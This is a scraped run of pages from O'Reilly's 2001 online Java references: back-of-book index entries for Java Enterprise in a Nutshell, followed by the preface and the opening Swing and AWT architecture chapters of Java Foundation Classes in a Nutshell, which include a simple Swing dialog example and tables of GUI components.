tables
SQL
constraints: 8.3.1. CREATE TABLE
creating: 8.3.1. CREATE TABLE
data types, columns: 8.2. Data Types
deleting objects: 8.3.3. DROP
deleting rows: 8.4.4. DELETE
inserting data: 8.4.2. INSERT
joins: 8.4.1.2. Subqueries and joins
schemas: 8.1. Relational Databases
tables (database), modifying structure: 2.11. Stored Procedures
TCKind class: 30. The org.omg.CORBA Package
TCP/IP
remote references, point-to-point: 3.2.1. Key RMI Classes for Remote Object Implementations
RMI/IIOP and: 4.1.4. Inter-ORB Communication
TemporaryQueue interface: 21. The javax.jms Package
TemporaryTopic interface: 21. The javax.jms Package
TextMessage interface: 21. The javax.jms Package
thin client programming, advantages: 1.3.5. Enterprise JavaBeans
threads
creating for ongoing tasks (servlets): 5.4. Custom Servlet Initialization
database updates, performing: 2.10. Transactions
safety: 5.5. Thread Safety
SingleThreadModel interface: 25. The javax.servlet Package
ties (CORBA skeletons): 3.8. RMI over IIOP
time, adjusting to SQL DATE specification: 18. The java.sql Package
time and date functions (SQL): 8.5.2. Value Functions
Time class: 2.6.3. Dates and Times
18. The java.sql Package
time-out (session beans): 7.7. Deploying an Enterprise JavaBeans Object
Time Service (CORBA): 11.13. Time Service
TimeLimitExceededException class: 22. The javax.naming Package
Timestamp class: 2.6.3. Dates and Times
18. The java.sql Package
tnameserv utility (RMI/IIOP): 3.8. RMI over IIOP
Topic interface: 21. The javax.jms Package
TopicConnection interface: 21. The javax.jms Package
TopicConnectionFactory interface: 21. The javax.jms Package
TopicPublisher interface: 21. The javax.jms Package
TopicRequestor interface: 21. The javax.jms Package
TopicSession interface: 21. The javax.jms Package
TopicSubscriber interface: 21. The javax.jms Package
toString() (RemoteObject): 3.2.1. Key RMI Classes for Remote Object Implementations
TRACE (HTTP request): 5.2.3. POST, HEAD, and Other Requests
Trading Service (CORBA): 11.14. Trading Service
Transaction interface: 28. The javax.transaction Package
transaction management, container management of: 7.2.3. The EJB Container
Transaction Service (CORBA): 11.6. Concurrency Control Service
11.9. Transaction Service
11.9. Transaction Service
TransactionInProgressException class: 21. The javax.jms Package
TransactionManager interface: 28. The javax.transaction Package
TRANSACTION_NONE class: 2.10. Transactions
TRANSACTION_READ_COMMITTED class: 2.10. Transactions
TRANSACTION_READ_UNCOMMITTED class: 2.10. Transactions
TRANSACTION_REPEATABLE_READ class: 2.10. Transactions
TRANSACTION_REQUIRED class: 30. The org.omg.CORBA Package
TransactionRequiredException class: 28. The javax.transaction Package
TRANSACTION_ROLLEDBACK class: 30. The org.omg.CORBA Package
TransactionRolledBackException class: 21. The javax.jms Package
transactions: 2.10. Transactions
19. The javax.ejb Package
ACID characteristics, listed: 11.9. Transaction Service
attributes (beans): 7.8.3. Using Client-Side Transactions
beans, support level: 7.8.3. Using Client-Side Transactions
boundaries
notification and management of: 11.9. Transaction Service
session beans and: 7.5.2. Optional Transaction Support
boundaries, defining: 7.3. Transaction Management
client-initiated: 7.3. Transaction Management
client-side: 7.8.3. Using Client-Side Transactions
concurrent (entity beans): 7.6. Implementing Entity Beans
distributed vs. simple: 1.3.8. JTA: Managing Distributed Transactions
EJB server, awareness of: 7.3.1. Making the EJB Server Aware of Database Transactions
EJBContext, providing context for: 7.3. Transaction Management
identifier: 29. The javax.transaction.xa Package
isolation levels: 2.10. Transactions
7.3.2. Transaction Isolation Levels
JDBC supporting, listed: 2.10. Transactions
listed: 7.3.2. Transaction Isolation Levels
setting: 2.10. Transactions
management: 7.3. Transaction Management
20. The javax.ejb.deployment Package
EJB servers and: 1.3.5. Enterprise JavaBeans
messages: 21. The javax.jms Package
run-as-identity requirements: 7.7.2. Access-Control Deployment Attributes
support level, specifying (deployment descriptors): 7.7. Deploying an Enterprise JavaBeans Object
synchronization: 19. The javax.ejb Package
stateless session beans, not participating: 7.5.1. Stateless Versus Stateful Session Beans
two-phase commit: 2.13.5. The JDBC Standard Extension
XAConnection interface: 27. The javax.sql Package
TRANSACTION_SERIALIZABLE class: 2.10. Transactions
TRANSIENT class: 30. The org.omg.CORBA Package
transport protocols, RMI architecture: 3.1.2. RMI Architecture
troubleshooting (see debugging)
two-phase commit protocol: 1.3.8. JTA: Managing Distributed Transactions
JDBC drivers: 2.13.5. The JDBC Standard Extension
type()
Any class: 30. The org.omg.CORBA Package
DynAny interface: 30. The org.omg.CORBA Package
type (directory entry): 6.11. Creating Directory Entries
type (object class definition): 6.9.2. The DirContext Interface
TypeCode class: 30. The org.omg.CORBA Package
TypeCodeHolder class: 30. The org.omg.CORBA Package
typedef (IDL data types): 10.7. User-Defined Data Types
arrays: 10.7.2. Arrays
mapping to Java: 10.7.1.1. Mapping typedefs to Java
TypeMismatch class: 31. The org.omg.CORBA.DynAnyPackage Package
Types class: 2.6. Results
18. The java.sql Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

UID class: 17. The java.rmi.server Package
UnavailableException class: 5.2.6.2. Servlet exceptions
25. The javax.servlet Package
unbind()
Context interface: 6.8. Binding Objects
Naming class: 13. The java.rmi Package
NamingContext interface: 35. The org.omg.CosNaming Package
Registry interface: 3.4.1. The Registry and Naming Services
16. The java.rmi.registry Package
UnexpectedException class: 13. The java.rmi Package
unexportObject() (Activatable): 14. The java.rmi.activation Package
UnicastRemoteObject class: 3.1.1. RMI in Action
3.2.1. Key RMI Classes for Remote Object Implementations
14. The java.rmi.activation Package
17. The java.rmi.server Package
nonpersistent references: 3.6. Remote Object Activation
UnionMember class: 30. The org.omg.CORBA Package
unions (IDL): 10.7.6. Unions
30. The org.omg.CORBA Package
idltojava compiler bugs: 12. Java IDL Tools
mapping to Java: 10.7.6.1. Mapping unions to Java
unique identifier class (UID): 17. The java.rmi.server Package
Universal Time Coordinated (UTC): 11.13. Time Service
Unix systems, RMI registry daemon: 3.4.1. The Registry and Naming Services
UNKNOWN class: 30. The org.omg.CORBA Package
UnknownGroupException class: 14. The java.rmi.activation Package
UnknownObjectException class: 14. The java.rmi.activation Package
UnknownUserException class: 30. The org.omg.CORBA Package
UnmarshalException class: 13. The java.rmi Package
unmarshaling: 3.1.2. RMI Architecture
3.1.2. RMI Architecture
(see also marshaling)
classes, finding: 3.5.1. Configuring Clients and Servers for Remote Class Loading
remote method arguments: 10.4.1.1. Mapping strings and characters to Java
unmarshalling, IDL objects: 33. The org.omg.CORBA.portable Package
Unreferenced class: 17. The java.rmi.server Package
unreferenced() (Unreferenced): 17. The java.rmi.server Package
unregister() (Activatable): 14. The java.rmi.activation Package
unsetEntityContext() (EntityBean): 7.6.3. Entity Bean Implementation
19. The javax.ejb Package
updateInt() (ResultSet): 2.13.1. Results Handling
updateRow() (ResutSet): 2.13.1. Results Handling
updates (ResultSet), JDBC 1.0 vs. JDBC 2.0: 2.13.1. Results Handling
updating
attributes: 23. The javax.naming.directory Package
23. The javax.naming.directory Package
batch updates (JDBC): 2.13.2. Batch Updates
result sets, existing rows, editing data: 2.13.1. Results Handling
result sets, updateable: 2.13.1. Results Handling
ResultSet
JDBC 2.0 support: 2.13.1. Results Handling
support information (DataBaseMetaData): 2.13.1. Results Handling
SQL tables: 8.4.3. UPDATE
update counts: 2.5.1. Multiple Result Sets
2.13.2. Batch Updates
URI path, specifying: 5.10.3. Resource Abstraction
URLs
bundling into MarshalledObject: 3.6.3.2. Passing data with the MarshalledObject
class bytecodes, storing: 3.6.3. Registering Activatable Objects
class file name, encoding (marshalling): 3.5.1. Configuring Clients and Servers for Remote Class Loading
class names, loading: 3.6.4. Activation Groups
classes, loading: 17. The java.rmi.server Package
encoding (session tracking): 5.8. Session Tracking
initial context, filesystem service (Sun): 6.2. A JNDI Example
JDBC: 2.3.1. JDBC URLs
odbc subprotocol: 2.3.2. The JDBC-ODBC Bridge
JNDI server, connecting with: 7.8.1. Finding Home Interfaces Through JNDI
length limitations, exceeding (POST requests): 5.2.3. POST, HEAD, and Other Requests
marshaled byte stream, classes, finding (remote): 3.5.1. Configuring Clients and Servers for Remote Class Loading
method names, changes: 5.10. The Servlet API 2.1
object names, fully qualified: 3.1.3.1. Naming/registry service
Oracle JDBC-Thin driver: 2.3.1. JDBC URLs
resource abstraction (servlets): 5.10.3. Resource Abstraction
RMI remote objects: 3.4.1. The Registry and Naming Services
servlets: 5.2.1. HTTP Servlets
5.2.2. Forms and Interaction
target, updating (request dispatching): 5.10.1. Request Dispatching
user access, restricting: 5.2.5. Servlet Requests
UserException class: 30. The org.omg.CORBA Package
usernames, authenticating: 5.2.7. Security
usernames (database connections): 2.4. Connecting to the Database
UserTransaction interface: 7.3. Transaction Management
7.8.3. Using Client-Side Transactions
28. The javax.transaction Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

value() (BindingType): 35. The org.omg.CosNaming Package
value functions (SQL): 8.5. Functions
date and time functions: 8.5.2. Value Functions
valueBound() (HttpSessionBindingListener): 5.8.1. HttpSessionBindingListener
26. The javax.servlet.http Package
ValueMember class: 30. The org.omg.CORBA Package
valueOf()
Date class: 18. The java.sql Package
Time class: 18. The java.sql Package
Timestamp class: 18. The java.sql Package
valueUnbound() (HttpSessionBindingListener): 5.8.1. HttpSessionBindingListener
26. The javax.servlet.http Package
vendor naming services, RMI registry and: 3.1.3.1. Naming/registry service
vendors, messaging services (JMS and): 1.3.7. JMS: Enterprise Messaging
virtual machine (see Java VM)
virtual machine identifier class (VMID): 15. The java.rmi.dgc Package
VMID class: 15. The java.rmi.dgc Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

wait(): 3.1.1. RMI in Action
ORB, keep running: 4.4.3. Stringified Object References
warnings (application debugging): 2.7.1. SQL Warnings
warnings (SQL): 2.7.1. SQL Warnings
wasNull() (ResultSet): 2.6.1. Handling Nulls
web applications, session tracking: 5.8. Session Tracking
web browsers, servlets, using: 1.3.6. Servlets
web servers
cookies: 5.7. Cookies
GenericServlet class and: 5.2. Servlet Basics
resource abstraction (servlets): 5.10.3. Resource Abstraction
servlet instances, pooling: 5.5. Thread Safety
servlet security, handling: 5.2.7. Security
servlets, using: 1.3.6. Servlets
Web, using as development platform: 5. Java Servlets
Weblogic/Bea Tengah server: 7.1. A Note on Evolving Standards
wide characters (IDL): 10.4.1. Strings and Characters
wildcard searches
DatabaseMetaData methods: 2.9.1. DatabaseMetaData
directories: 6.12.1. Search Criteria
escape sequences, JDBC: 2.12. Escape Sequences
SQL (LIKE operator): 8.4.1.1. String comparisons
wildcard searching, DataBaseMetaData methods: 18. The java.sql Package
Windows systems, RMI registry daemon: 3.4.1. The Registry and Naming Services
write(), ObjID class: 17. The java.rmi.server Package
WrongTransaction class: 30. The org.omg.CORBA Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

X.500 directory services standard: 6.9. Accessing Directory Services
attribute type definition: 6.9.3. The Attributes Interface
Directory Access Protocol (DAP), simplifying: 6.9.1. X.500 Directories
object names, differing from filesystems: 6.9.2. The DirContext Interface
XA API (distributed transactions standard): 1.3.8. JTA: Managing Distributed Transactions
XA interface: 29. The javax.transaction.xa Package
XAConnection interface: 21. The javax.jms Package
27. The javax.sql Package
XAConnectionFactory interface: 21. The javax.jms Package
XAException class: 29. The javax.transaction.xa Package
XAQueueConnection interface: 21. The javax.jms Package
XAQueueConnectionFactory interface: 21. The javax.jms Package
XAQueueSession interface: 21. The javax.jms Package
XAResource interface: 29. The javax.transaction.xa Package
XASession interface: 21. The javax.jms Package
XATopicConnection interface: 21. The javax.jms Package
XATopicConnectionFactory interface: 21. The javax.jms Package
XATopicSession interface: 21. The javax.jms Package
Xid interface: 29. The javax.transaction.xa Package
XML deployment descriptors: 7.9.1. XML-Based Deployment Descriptors
XOPEN specification (data types): 18. The java.sql Package
X/Open XA interface specification: 29. The javax.transaction.xa Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Java Enterprise in a Nutshell Search Page

Java™ Enterprise in a Nutshell Search this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Preface (Java Foundation Classes)

 Java Foundation Classes Search this book

Preface

This book is a desktop quick reference for Java™ programmers who are writing applications or applets that involve graphics or graphical user interfaces. The first part of the book is a fast-paced, "no fluff" introduction to the Java APIs that comprise the Java Foundation Classes, or JFC. These chapters are followed by a quick-reference section that succinctly details every class of those APIs.

This book complements the best-selling Java in a Nutshell. That volume introduces the Java programming language itself and provides an API quick reference for the core packages and classes of the Java platform. A third volume in the series, Java Enterprise in a Nutshell, covers the Java Enterprise APIs. Programmers working on server-side or enterprise applications will be interested in that book.

0.1. Contents of This Book

The first seven chapters of this book document the graphics and graphical user interface (GUI) APIs used in client-side Java programming. The chapters are:

Chapter 1, "The Java Foundation Classes"

Provides a quick introduction to the JFC and the APIs that comprise it.

Chapter 2, "Swing and AWTArchitecture"

Explains the architecture used for graphical user interfaces built with the older Abstract Windowing Toolkit (AWT) and the new Swing API. The remaining chapters of the book assume an understanding of the fundamentals presented here.

Chapter 3, "Swing Programming Topics"

Introduces a number of the most important GUI components and application services provided by the Swing API.

Chapter 4, "Graphics with AWT and Java 2D"

Explains how to draw text and graphics. It introduces the AWT graphics API, used in Java 1.0 and Java 1.1, and the powerful new Java 2D API of Java 2.

Chapter 5, "Printing"

Covers how to draw text and graphics to a printer, using both the Java 1.1 and Java 2 printing APIs.

Chapter 6, "Data Transfer"

Explains how to enable data transfer between and within applications, using both cut-and-paste and drag-and-drop.

Chapter 7, "Applets"

Documents the Java applet API, which allows Java applets, or mini-applications, to run within web browsers.

These chapters provide enough information to get you started with each of the JFC APIs. The bulk of the book, however, is the API quick reference, Chapters 8 through 36, which is a succinct but detailed API reference formatted for optimum ease of use. Please be sure to read the Chapter 37, "How To Use This Quick Reference", which appears at the beginning of the reference section. It explains how to get the most out of this book.

Home | Next
Book Index | 0.2. Related Books
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Related Books (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

0.2. Related Books

O'Reilly & Associates publishes an entire series of books on Java programming. These books include Java in a Nutshell and Java Enterprise in a Nutshell, which, as mentioned earlier, are companions to this book.

A related reference work is the Java Power Reference. It is an electronic Java quick reference on CD-ROM that uses the Java in a Nutshell style. But since it is designed for viewing in a web browser, it is fully hyperlinked and includes a powerful search engine. It is wider in scope but narrower in depth than the Java in a Nutshell books. The Java Power Reference covers all the APIs of the Java 2 platform, plus the APIs of many standard extensions. But it does not include tutorial chapters on the various APIs, nor does it include descriptions of the individual classes.

You can find a complete list of Java books from O'Reilly & Associates at http://java.oreilly.com/. Books of particular interest to JFC programmers include the following:

Java Swing, by Robert Eckstein, Marc Loy, and Dave Wood

A complete guide to the Swing graphical user interface toolkit.

Java 2D Graphics, by Jonathan Knudsen

A comprehensive tutorial on the Java 2D API, from basic drawing techniques to advanced image processing and font handling.

Java AWT Reference, by John Zukowski

A complete reference manual (not a quick reference like this book) to the graphics and GUI features of the AWT. This book covers Java 1.0 and Java 1.1, and although some AWT features have been superseded by the Swing and Java 2D APIs, the AWT is still the foundation for all graphics and graphical user interfaces in Java.

Exploring Java, by Pat Niemeyer and Joshua Peck

A comprehensive tutorial introduction to Java, with an emphasis on client-side Java programming.

Previous | Home | Next
0.1. Contents of This Book | Book Index | 0.3. Java Programming Resources Online
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

0.7. Acknowledgments

This book is an outgrowth of the best-selling Java in a Nutshell. I'd like to thank all the readers who made that book a success and who wrote in with comments, suggestions, and praise.

The editor of this book, and of Java in a Nutshell before it, was Paula Ferguson. As usual, she's done a great job of keeping me on topic and made her best effort to keep me on schedule! Her careful and thoughtful editing has made this book a better one. Thanks, Paula.

This book had a number of high-powered technical reviewers. Jeanette Hung, of Sun Microsystems; Doug Felt and John Raley, both of IBM; and Jonathan Knudsen, author of O'Reilly's Java 2D Graphics, reviewed the Java 2D class descriptions. Jonathan also reviewed the Java 2D-related chapters. Marc Loy, coauthor of O'Reilly's Java Swing and course developer and technical trainer at Galileo Systems, LLC, reviewed all of the Swing-related material. This book is made much stronger by the valuable contributions of these reviewers. I alone must take responsibility for any errors that remain, of course.

The O'Reilly & Associates production team has done its usual fine work of creating a book out of the electronic files I submit. My thanks to them all. And a special thanks to Lenny Muellner and Chris Maden, who worked overtime to implement the new and improved format of the quick-reference section.

Finally, as always, my thanks and love to my partner Christie.

        David Flanagan
        http://www.davidflanagan.com
        June 1999

Previous | Home | Next
0.6. Request for Comments | Book Index | Part 1. Introducing the Java Foundation Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Java Foundation Classes (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 1. The Java Foundation Classes

The Java Foundation Classes, or JFC, is a loose collection of standard Java APIs for client-side graphics, graphical user interfaces (GUIs), and related programming tasks. They are foundation classes in the sense that most client-side Java applications are built upon these APIs. This book covers the following APIs:

AWT

Although the most powerful and exciting features of the JFC were introduced in Version 1.2 of the Java 2 platform, the JFC also includes the graphics and GUI features of Java 1.0 and Java 1.1. These features are provided by the Abstract Windowing Toolkit (AWT). The graphics and GUI capabilities of the AWT are rudimentary, and many of them have been superseded by more advanced features in Java 1.2. Nevertheless, the AWT is the bedrock upon which more advanced JFC functionality is built.

In addition, there are certain situations in which you cannot take advantage of the new JFC functionality and must instead rely solely on the AWT. For example, common web browsers do not yet support Swing, so if you are writing applets, you have to use the AWT. Because of this, the graphics and GUI APIs of the AWT are discussed right along with the more powerful APIs introduced in Java 1.2.

Swing

Swing is an advanced GUI toolkit written in pure Java. It is built upon the AWT but provides many new GUI components and useful GUI-related application services. Swing offers a pluggable look-and-feel architecture that allows an application to be trivially configured either to display a platform-independent Java look-and-feel or to mimic the look-and-feel of the native operating system. Swing also includes an accessibility API that enables the use of assistive technologies, such as screen readers or screen magnifiers for the vision impaired. Many features of Swing are based on the pioneering design of the Netscape Internet Foundation Classes.

Swing is a core part of the Java 2 platform. It is also available, however, as an extension to Java 1.1.

Java 2D

Java 2D is the name for the state-of-the-art two-dimensional graphics API introduced in Java 1.2. Java 2D is built upon the AWT, but greatly expands on the graphics capabilities that were available in Java 1.0 and Java 1.1. Java 2D includes support for resolution independence, rotation, scaling and shearing of arbitrary graphics, antialiasing of text and graphics, alpha transparency, color compositing, and the use of the full range of fonts installed on the native system.

Printing

The ability to print text and graphics on a page is almost as important as the ability to draw text and graphics on the screen. Java 1.1 introduced simple printing capabilities as part of the AWT, and Java 1.2 includes a more powerful printing API as part of the JFC. This book describes both printing APIs.

Data transfer

An important feature of many client-side applications is the ability to allow user-directed data transfer within the application and between unrelated applications. There are two commonly used data transfer metaphors: cut-and-paste and drag-and-drop. Java 1.1 defined a basic data transfer framework and provided an API for cut-and-paste. Java 1.2 adds support for data transfer using the drag-and-drop metaphor.

Applets

The applet API allows a client-side program to run as an applet, or mini-application, within a web browser or some other form of applet viewer. Technically, the applet API is not part of the JFC, but it is a crucial piece of the client-side Java programming picture and is included in this book.

The rest of the chapters in Part 1, "Introducing the Java Foundation Classes" describe these APIs in far more detail. Read Chapter 2, "Swing and AWTArchitecture", first. After reading that chapter, you can read the remaining chapters in whatever order you prefer. The goal of each chapter is to introduce an API in enough detail so that you can begin to use it in your programs. While reading a chapter, you may find it helpful to refer to the quick-reference material in Part 2, "API Quick Reference" of this book to find detailed API information on the individual classes you are reading about.

Previous | Home | Next
Part 1. Introducing the Java Foundation Classes | Book Index | 2. Swing and AWTArchitecture
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Swing and AWT Architecture (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 2. Swing and AWT Architecture

Contents:

A Simple Graphical User Interface
Components
Properties
Containers and Containment
Layout Management
Event Handling
Swing Component Architecture

The Abstract Windowing Toolkit (AWT) provides basic facilities for creating graphical user interfaces (GUIs), and also for drawing graphics, as we'll discuss in a later chapter. AWT has been a core part of Java since Java 1.0. The GUI features of AWT are layered on top of the native GUI system of the underlying platform. In other words, when you create a graphical push button with AWT, AWT creates a Windows push button, or a Macintosh push button, or a Motif push button, or whatever, depending on the platform on which the application is running. In Java 1.1, AWT was extended to allow the creation of "lightweight" GUI components that do not have corresponding native GUI components behind them.

Swing is a new GUI toolkit that is available as a core part of the Java 2 platform and also as an extension to Java 1.1. Swing is an extension of the AWT toolkit, not an entirely new toolkit. All of the GUI components provided by Swing are lightweight components, so they do not rely on the underlying native GUIs. The result is that Swing is more portable, making it much easier to write graphical applications that behave the same on all platforms. Swing is also larger and more comprehensive than AWT. In addition to a complete and powerful set of GUI components, Swing provides a number of utilities that make it easier to write graphical applications.

Swing offers a great step forward when compared to AWT. You should use Swing in all your Java 2 applications. You should also seriously consider using it as an extension for Java 1.1 applications. Unfortunately, at the time of this writing, common web browsers do not yet support Swing, so if you are writing applets, you should either run those applets under the Java Plug-in, or you should avoid the use of Swing and rely exclusively on the features of AWT. See Chapter 7, "Applets", for more information on applets.

This chapter introduces the basic architecture used by both AWT and Swing. For more information on Swing and AWT, see Java Swing, by Robert Eckstein, Marc Loy, and Dave Wood (O'Reilly), and Java AWT Reference, by John Zukowski (O'Reilly), respectively.

2.1. A Simple Graphical User Interface

Example 2-1 is a simple program that uses Swing to create and display a graphical user interface. Figure 2-1 shows the GUI created by this program.

Figure 2-1. The GUI of the DisplayMessage program

The DisplayMessage program is designed for use in a shell script or batch file.[1] If you invoke the program on the command line with the text of a question, it displays the question to the user and waits for the user to click the Yes button or the No button. The program sets its exit code based on the user's response, so a shell script can examine this exit code to determine how the user responded. The program expects from one to three command-line arguments that specify the text of the question and the text for the "Yes" and "No" buttons, respectively. For example, you might invoke the program like this:

[1]Because the Java Virtual Machine takes a long time to start up, it is not actually practical to use this program in a shell script. It is a useful example nevertheless.

% java DisplayMessage "Do you really want to quit?" "Yes, Please", "No, Thanks"

The example illustrates step-by-step how to create a Swing GUI. Don't worry if you don't understand the details of this program yet. If you read it through once now to get the big picture, you can refer back to it as you read the sections that follow.

Example 2-1. Creating a Simple GUI with Swing

import java.awt.*;             // AWT classes
import javax.swing.*;          // Swing components and classes
import javax.swing.border.*;   // Borders for Swing components
import java.awt.event.*;       // Basic event handling

public class DisplayMessage {
  public static void main(String[] args) {
    /*
     * Step 1: Create the components
     */
    JLabel msgLabel = new JLabel();      // Component to display the question
    JButton yesButton = new JButton();   // Button for an affirmative response
    JButton noButton = new JButton();    // Button for a negative response

    /*
     * Step 2: Set properties of the components
     */
    msgLabel.setText(args[0]);                           // The msg to display
    msgLabel.setBorder(new EmptyBorder(10,10,10,10));    // A 10-pixel margin
    yesButton.setText((args.length >= 2)?args[1]:"Yes"); // Text for yes button
    noButton.setText((args.length >= 3)?args[2]:"No");   // Text for no button

    /*
     * Step 3: Create containers to hold the components
     */
    JFrame win = new JFrame("Message");  // The main application window
    JPanel buttonbox = new JPanel();     // A container for the two buttons

    /*
     * Step 4: Specify LayoutManagers to arrange components in the containers
     */
    win.getContentPane().setLayout(new BorderLayout()); // Layout on borders
    buttonbox.setLayout(new FlowLayout());              // Layout left-to-right

    /*
     * Step 5: Add components to containers, with optional layout constraints
     */
    buttonbox.add(yesButton);            // Add yes button to the panel
    buttonbox.add(noButton);             // Add no button to the panel

    // add JLabel to window, telling the BorderLayout to put it in the middle
    win.getContentPane().add(msgLabel, "Center");

    // add panel to window, telling the BorderLayout to put it at the bottom
    win.getContentPane().add(buttonbox, "South");

    /*
     * Step 6: Arrange to handle events in the user interface
     */
    yesButton.addActionListener(new ActionListener() {  // Note: inner class
      // This method is called when the Yes button is clicked
      public void actionPerformed(ActionEvent e) { System.exit(0); }
    });

    noButton.addActionListener(new ActionListener() {   // Note: inner class
      // This method is called when the No button is clicked
      public void actionPerformed(ActionEvent e) { System.exit(1); }
    });

    /*
     * Step 7: Display the GUI to the user
     */
    win.pack();   // Set the size of the window based on its children's sizes
    win.show();   // Make the window visible
  }
}
Previous | Home | Next
Chapter A. The Java Foundation Classes | Book Index | 2.2. Components
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Components (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

2.2. Components

A graphical user interface is composed of individual building blocks such as push buttons, scrollbars, and pull-down menus. Some programmers know these individual building blocks as controls, while others call them widgets. In Java, they are typically called components because they all inherit from the base class java.awt.Component.

When you are describing a GUI toolkit, one of the most important characteristics is the list of components it supports. Table 2-1 lists the heavyweight components provided by AWT, where heavyweight refers to components that are layered on top of native GUI components. The components listed are all classes in the java.awt package. One of the curious features of the AWT is that pull-down and pop-up menus, and the items contained within those menus, are not technically components. Instead of inheriting from Component, they inherit from java.awt. MenuComponent. Nevertheless, the various menu component classes are used in very much the same way that true components are, so I have included them in Table 2-1.

Table 2-1. Heavyweight AWT Components

Component Name | Description
Button | A graphical push button.
Canvas | A heavyweight component that displays a blank canvas, allowing a program to display custom graphics.
Checkbox | A toggle button that can be selected or unselected. Use the Checkbox group to enforce mutually exclusive or radio button behavior among a group of Checkbox components.
CheckboxMenuItem | A toggle button that can appear within a Menu.
Choice | An option menu or drop-down list. Displays a menu of options when clicked on and allows the user to select among this fixed set of options.
Component | The base class for all AWT and Swing components. Defines many basic methods inherited by all components.
FileDialog | Allows the user to browse the filesystem and select or enter a filename.
Label | Displays a single line of read-only text. Does not respond to user input in any way.
List | Displays a list of choices (optionally scrollable) to the user and allows the user to select one or more of them.
Menu | A single pane of a pull-down menu
MenuBar | A horizontal bar that contains pull-down menus.
MenuComponent | The base class from which all menu-related classes inherit.
MenuItem | A single item within a pull-down or pop-up menu pane.
PopUpMenu | A menu pane for a pop-up menu.
Scrollbar | A graphical scrollbar.
TextArea | Displays multiple lines of plain text and allows the user to edit the text.
TextComponent | The base class for both TextArea and TextField.
TextField | Displays a single line of plain text and allows the user to edit the text.

Table 2-2 lists the components provided by Swing. By convention, the names of these components all begin with the letter J. You'll notice that except for this J prefix, many Swing components have the same names as AWT components. These are designed to be replacements for the corresponding AWT components. For example, the lightweight Swing components JButton and JTextField replace the heavyweight AWT components Button and TextField. In addition, Swing defines a number of components, some quite powerful, that are simply not available in AWT.

Swing components are all part of the javax.swing package. Despite the javax package prefix, Swing is a core part of the Java 2 platform, not a standard extension. Swing can be used as an extension to Java 1.1, however. All Swing components inherit from the javax.swing.JComponent class. JComponent itself inherits from the java.awt.Component class, which means that all Swing components are also AWT components. Unlike most AWT components, however, Swing components do not have a native "peer" object and are therefore "lightweight" components, at least when compared to the AWT components they replace. Finally, note that menus and menu components are no different than any other type of component in Swing; they do not form a distinct class hierarchy as they do in AWT.

Table 2-2. GUI Components of Swing

Component Name | Description
JButton | A push button that can display text, images, or both.
JCheckBox | A toggle button for displaying choices that are not mutually exclusive.
JCheckBoxMenuItem | A checkbox designed for use in menus.
JColorChooser | A complex, customizable component that allows the user to select a color from one or more color spaces. Used in conjunction with the javax.swing.colorchooser package.
JComboBox | A combination of a text entry field and a drop-down list of choices. The user can type a selection or choose one from the list.
JComponent | The root of the Swing component hierarchy. Adds Swing-specific features such as tooltips and support for double-buffering.
JEditorPane | A powerful text editor, customizable via an EditorKit object. Predefined editor kits exist for displaying and editing HTML- and RTF-format text.
JFileChooser | A complex component that allows the user to select a file or directory. Supports filtering and optional file previews. Used in conjunction with the javax.swing.filechooser package.
JLabel | A simple component that displays text, an image, or both. Does not respond to input.
JList | A component that displays a selectable list of choices. The choices are usually strings or images, but arbitrary objects may also be displayed.
JMenu | A pull-down menu in a JMenuBar or a submenu within another menu.
JMenuBar | A component that displays a set of pull-down menus.
JMenuItem | A selectable item within a menu.
JOptionPane | A complex component suitable for displaying simple dialog boxes. Defines useful static methods for displaying common dialog types.
JPasswordField | A text input field for sensitive data, such as passwords. For security, does not display the text as it is typed.
JPopupMenu | A window that pops up to display a menu. Used by JMenu and for standalone pop-up menus.
JProgressBar | A component that displays the progress of a time-consuming operation.
JRadioButton | A toggle button for displaying mutually exclusive choices.
JRadioButtonMenuItem | A radio button for use in menus.
JScrollBar | A horizontal or vertical scrollbar.
JSeparator | A simple component that draws a horizontal or vertical line. Used to visually divide complex interfaces into sections.
JSlider | A component that simulates a slider control like those found on stereo equalizers. Allows the user to select a numeric value by dragging a knob. Can display tick marks and labels.
JTable | A complex and powerful component for displaying tables and editing their contents. Typically used to display strings but may be customized to display any type of data. Used in conjunction with the javax.swing.table package.
JTextArea | A component for displaying and editing multiple lines of plain text. Based on JTextComponent.
JTextComponent | The root component of a powerful and highly customizable text display and editing system. Part of the javax.swing.text package.
JTextField | A component for the display, input, and editing of a single line of plain text. Based on JTextComponent.
JTextPane | A subclass of JEditorPane for displaying and editing formatted text that is not in HTML or RTF format. Suitable for adding simple word processing functionality to an application.
JToggleButton | The parent component of both JCheckBox and JRadioButton.
JToolBar | A component that displays a set of user-selectable tools or actions.
JToolTip | A lightweight pop-up window that displays simple documentation or tips when the mouse pointer lingers over a component.
